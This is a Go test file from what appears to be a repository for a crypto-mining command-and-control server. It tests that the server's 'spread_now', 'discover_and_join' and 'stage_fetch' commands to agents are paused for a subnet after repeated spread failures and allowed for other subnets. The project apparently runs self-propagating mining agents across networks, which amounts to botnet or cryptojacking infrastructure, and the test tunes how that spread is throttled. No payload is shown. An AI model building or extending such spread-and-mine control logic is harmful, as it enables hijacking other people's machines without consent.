Files
AetherForge/server/internal/api/spread_immunity_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

60 lines
1.5 KiB
Go

package api
import (
"testing"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestSendAgentCommandBlockedBySubnetImmune(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
agentID := "spread-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "host", Wallet: "x", IP: "10.0.0.50", Status: "online",
}); err != nil {
t.Fatal(err)
}
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
err = hub.SendAgentCommand(agentID, "spread_now", nil)
if err == nil {
t.Fatal("expected spread_now blocked for paused subnet")
}
if !isSpreadCommandAction("discover_and_join") {
t.Fatal("discover_and_join should be spread action")
}
}
func TestCheckSubnetSpreadImmuneAllowsOtherPrefix(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetSubnetImmune(atlas.NewSubnetImmune(database))
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
agentID := "other-subnet"
_ = database.UpsertAgent(&models.Agent{
ID: agentID, Name: "host", Wallet: "x", IP: "192.168.1.10", Status: "online",
})
if err := hub.checkSubnetSpreadImmune(agentID, "stage_fetch", nil); err != nil {
t.Fatalf("other subnet should pass: %v", err)
}
}